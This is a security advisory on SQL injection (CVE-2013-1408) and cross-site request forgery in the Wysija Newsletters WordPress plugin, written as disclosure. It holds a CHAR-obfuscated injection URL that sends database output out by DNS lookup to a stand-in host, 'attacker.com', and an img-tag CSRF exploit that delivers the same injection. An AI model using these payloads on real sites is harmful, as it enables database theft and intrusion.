Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in Wysija
Newsletters WordPress plugin, which can be exploited to perform SQL Injection
attacks.
1) SQL Injections in Wysija Newsletters WordPress plugin: CVE-2013-1408
The vulnerabilities exist due to insufficient filtration of user-supplied input
passed via the "search" and "orderby" HTTP GET parameters to the
"/wp-admin/admin.php" script. A remote authenticated administrator can execute
arbitrary SQL commands in application's database.
The PoC code below is based on DNS Exfiltration technique and may be used if
the database of the vulnerable application is hosted on a Windows system. The
PoC will send a DNS request demanding IP addess for `version()` (or any other
sensetive output from the database) subdomain of ".attacker.com" (a domain
name, DNS server of which is controlled by the attacker):
http://[host]/wp-admin/admin.php?page=wysija_campaigns&orderby=(select
load_file(CONCAT(CHAR(92),CHAR(92),(select
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
--
This vulnerability could also be exploited by a remote non-authenticated
attacker via CSRF vector, since the application is prone to cross-site request
forgery attacks. In order to do so an attacker should trick the logged-in
administrator into visiting a web page with CSRF exploit.
Basic CSRF exploit:
<img
src="http://[host]/wp-admin/admin.php?page=wysija_campaigns&orderby=(select
load_file(CONCAT(CHAR(92),CHAR(92),(select
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
